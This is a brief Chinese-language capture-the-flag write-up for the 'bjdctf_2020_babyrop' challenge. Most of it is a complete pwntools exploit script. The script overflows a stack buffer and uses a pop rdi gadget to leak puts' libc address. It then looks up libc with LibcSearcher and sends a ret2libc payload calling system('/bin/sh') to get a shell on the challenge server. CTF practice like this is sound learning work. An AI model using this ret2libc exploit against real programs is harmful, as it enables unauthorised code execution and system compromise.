题目截图
常规检查
在函数vuln中发现溢出
因为没有发现后门函数,所以准备用puts函数做泄露,要用到rdi寄存器传参,用ROPgadget工具找到pop rdi;ret;代码段
后面就是常规流程
exp
from pwn import*
from LibcSearcher import *
p=process('/home/lhb/桌面/bjdctf_2020_babyrop')
elf=ELF('/home/lhb/桌面/bjdctf_2020_babyrop')
p=remote('node4.buuoj.cn',27346)
main=0x4006ad
pop_rdi_ret=0x400733
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload=b'a'*(0x20+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter(b'story!\n',payload)
addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',addr) #选版本3
libcbase = addr- libc.dump("puts")
system_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
payload=b'a'*(0x20+8)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
p.sendlineafter(b'story!\n',payload)
p.interactive()